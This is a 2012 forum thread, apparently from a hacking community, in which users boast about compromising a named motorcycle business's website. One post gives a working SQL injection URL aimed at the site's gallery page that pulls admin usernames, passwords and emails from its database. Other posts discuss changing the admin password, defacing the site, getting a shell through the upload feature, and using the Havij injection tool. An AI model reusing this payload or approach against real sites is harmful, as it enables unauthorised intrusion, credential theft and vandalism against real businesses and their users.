Lol at the admin password ???

Enjoy

TheRageHunter - March 22, 2012, 10:47 am

Want to see who will deface first :D ?

XLR8NUT - March 22, 2012, 10:48 am

haha I changed the password... Kids :D

Chagnig the password to "goaway123" isn't nice! >:(

No encryption on the site, so changing the password won't help much :D

AST - March 22, 2012, 11:00 am

thats a real fail from the site xD, not using a decrypting.

wow you gen-ass man

you like uber hacker or something ?

Th3PonyWizard - March 22, 2012, 11:06 am

Code

http://www.mainframecustomcycles.net.au/gallery.php?pro_id=-10+/*!union*/(/*!select*/+concat(id,0x3c62723e,admin,0x3c62723e,password,0x3c62723e,email)+from+admin)--+Manually. More fun, Less skid.

CyB3R CRiMe - March 22, 2012, 11:11 am

The upload features could get a shell on there, anyone tried?

Yes. Yes I am! (Phineas and Ferb reference. Uber hackers do that often)

You want my autograph or anything? I can also send you my paypal info, then you can donate to your new idol.

I could even teach you a thing or two about Havij (for a few hundred bucks)

So which super sick method did you use to change the password?

Th3PonyWizard - March 22, 2012, 11:30 am

I'll check stuff with HTTP Headers.

whats this mean inject ? like needle injection from doctor ??Not really. More like a file injection, when you insert stuff that shouldn't be there. Also, go learn some server side language (Like PHP) before even entering this section.

AST - March 22, 2012, 11:40 am

Why not defaced? Its not worth it, you could do much more valuable things than defacing this site.
